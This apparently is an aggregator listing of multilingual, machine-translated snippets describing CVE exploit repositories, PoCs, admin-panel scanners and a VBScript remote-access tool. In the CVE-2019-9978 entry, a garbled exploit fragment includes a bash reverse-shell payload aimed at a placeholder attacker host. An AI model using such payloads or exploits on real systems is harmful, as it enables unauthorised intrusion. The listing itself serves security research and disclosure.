CVE-2025-45619

Сведения об уязвимости Модель камеры PTC310UV2 с версией прошивки 0.1.0000.59. Уязвимость обнаружена в веб-интерфейсе, используемом для доступа к камере. Уязвимость была обнаружена в ходе теста на проникновение, поэтому некоторая информация на скриншотах PoC была скрыта. Описание Это раскрытие...

cve-2026-23550-poc

CVE-2026-23550 PoC Um pequeno testador em Bash para CVE-2026-23550. Ele consulta o endpoint de login do conector modular WordPress afetado, verifica se um cookie wordpressloggedin é emitido e tenta confirmar o acesso ao painel de administração. Aviso: Use esta ferramenta apenas em sistemas que vo...

WantasticCore

Wantastic Una mesh WireGuard self-hosted con portale di amministrazione nel browser, tutto in un unico container. Prova la demo → · Unisciti a Discord → Perché Wantastic Il panorama delle VPN overlay è affollato — Tailscale, Headscale, NetBird, wg-easy. Si fermano tutti a "i tuoi dispositivi...

CVE-2026-63030

CVE-2026-63030 WordPress REST API Batch-Routenkonfusion + SQL-Injection führen zu einer vollständigen Exploit-Kette von unberechtigter Administratorerstellung → Remote Code Execution als PoC. Nur für autorisierte Sicherheitstests, Schwachstellenreproduktion und Forschung. Nicht für nicht...

XCTR-Hacking-Tools

🍀 XCTR Strumenti di Hacking 🍀 Version 1.0.0 Strumento tutto-in-uno per la Raccolta di Informazioni. Instagram: Capture the Root 🖼️ Screenshots 🖼️ 📹 Come usare 📹 Clicca sull'immagine... Grazie Jolanda de Koff. Puoi visitare https://hackingpassion.com per molti articoli fantastici. 📒 Leggimi 📒...

cangibrina

root@kitploit: / | | | | / | ' \ / | | ' | '| | ' \ / | | || | | | | | | | | | | | | | | | | | | \,|| ||, ||./|| ||| ||,| |/ Beta - v0.8.7 Dashboard Finder English Português English Dashboard Finder Cangibrina ist ein plattformübergreifendes Tool, das darauf abzielt, das Admin-Dashboard von...

cve-2022-1040

环境 在Python环境中（3.10） root@kitploit: 强烈建议使用虚拟环境 pip3 install baseproxy python3.10 会因 pyOpenSSL（随 baseproxy 下载）版本过低而引发 AttributeError。重新安装最新版本即可解决。 pip3 uninstall pyOpenSSL pip3 install pyOpenSSL 运行 python3 Sophos-poc.py 在Docker中 root@kitploit: docker pull keithdockerhub/cve-2022-1040:latest 或自行构建...

MSDIA-x64

Installa il redistribuibile Visual C++ da qui: https://go.microsoft.com/fwlink/?LinkId=746572 2. Esegui install.bat come amministratore...

SMBRat

SMBRat Uno strumento di amministrazione remota per Windows in Visual Basic Script Idea Gli ambienti Windows , come le reti Active Directory , diventano davvero appesantiti dal traffico SMB. Tutti gli host ricevono le Policies dalla cartella SYSVOL , le configurazioni richiedono file remoti per...

RCity-CVE-2024-27198

RCity - CVE-2024-27198 RCE e creazione account admin e CVE-2024-27199 Auth Bypass Sfruttamento di CVE-2024-27198 e CVE-2024-27199 RCity è uno script Python che interagisce con un server TeamCity vulnerabile. La CVE consente la creazione non autorizzata di account amministratore, bypassando i 403...

CVE-2020-2733

CVE-2020-2733 - JD Edwards EnterpriseOne Tools 관리자 비밀번호가 적절히 보호되지 않음 그림 1: 문자열 복호화 그림 2: URL을 지정하여 복호화 CVE-2020-2733 애플리케이션: JD Edwards EnterpriseOne Tools 영향을 받는 버전: JD Edwards EnterpriseOne Tools 9.2 공급업체 URL: https://oracle.com/ 버그: 정보 공개 보고일: 2019년 9월 18일 공개 권고일: 2022년 8월 23일 참조:...

CVE-2026-8181

CVE-2026-8181 Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, die einen gültigen Administrator-Benutzernamen kennen, sich während REST-API-Anfragen als dieser Admin auszugeben, indem sie ein beliebiges falsches Passwort in einem Basic-Authentication-Header verwenden. Angreif...

CVE-2026-26718

विवरण सारांश xxl-job-admin वेब एप्लिकेशन में क्रॉस-साइट रिक्वेस्ट फोर्जरी CSRF कमजोरी मौजूद है जो हमलावर को Glue IDE शेल स्क्रिप्ट्स में अनधिकृत संशोधन करने की अनुमति देती है। प्रभावित एंडपॉइंट में उचित CSRF टोकन सत्यापन का अभाव है और एक अनुमत रिक्वेस्ट मैपिंग के माध्यम से मनमाने HTTP तरीकों को...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 插件远程代码执行 本仓库包含一个针对 CVE-2019-9978 的有效 Python 利用脚本，该漏洞是 WordPress 的 Social Warfare 插件（版本 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ 载荷已写入 PAYLOADFILE" def starthttpserver: """通过...

Exploit-LPE-CVE-2026-21721

💥 CVE-2026-21721 Exploit Habe einen Exploit für CVE-2026-21721 geschrieben und auf einem Teststand verifiziert. 🎯 Was enthalten ist Ein funktionsfähiger Escalator: meldet sich an, liest permissions, schreibt Admin permission=4 auf allen Dashboards. Für die Ausnutzung wird ein gültiges Konto mit...

CVE-2026-21643

🚨 CVE-2026-21643 "FortiGhost" : SQLi RCE pre-autenticazione in FortiClientEMS Iniezione SQL non autenticata in FortiClientEMS 7.4.4 Potenziale esecuzione di codice remota tramite richieste HTTP appositamente predisposte alla GUI di amministrazione 📋 Panoramica CVE-2026-21643 è una vulnerabilità d...

CVE-2026-51564

CVE-2026-51564 Advertência de Segurança para CVE-2026-51564 Descrição Um problema no parâmetro redirect no Milk admin =0.9.8 permite que atacantes remotos redirecionem usuários para URLs externas arbitrárias através de uma requisição maliciosa. Componentes Afetados: App/Route.php,...

CVE-2019-1040-dcpwn

CVE-2019-1040-dcpwn Ottimo articolo! Sfruttare CVE-2019-1040 - Combinare vulnerabilità di relay per RCE e Domain Admin . Quindi, ho scritto dcpwn.py per renderlo facile da usare. Requisiti Questi strumenti richiedono impacket. Puoi installarlo con pip root@kitploit: pip install impacket Utilizzo...

CVE-2025-54309__Enhanced_exploit

CVE-2025-54309उन्नतएक्सप्लॉइट यह watchtowrlabs द्वारा मूल रूप से बनाए गए एक्सप्लॉइट POC का उन्नत संस्करण है: https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54308 उन्हें बहुत-बहुत धन्यवाद!! यह एक्सप्लॉइट केवल शोध और शैक्षिक उद्देश्यों के लिए है और उल्लिखित...

Admin-Scanner

Admin-Scanner Finder del Pannello di Amministrazione Siti Web Come Installare? Linux/pc sudo apt install python3 sudo apt install python3-pip sudo apt install git git clone https://github.com/alienwhatever/Admin-Scanner.git cd Admin-Scanner Come Installare? Termux/Android pkg update && pkg upgrad...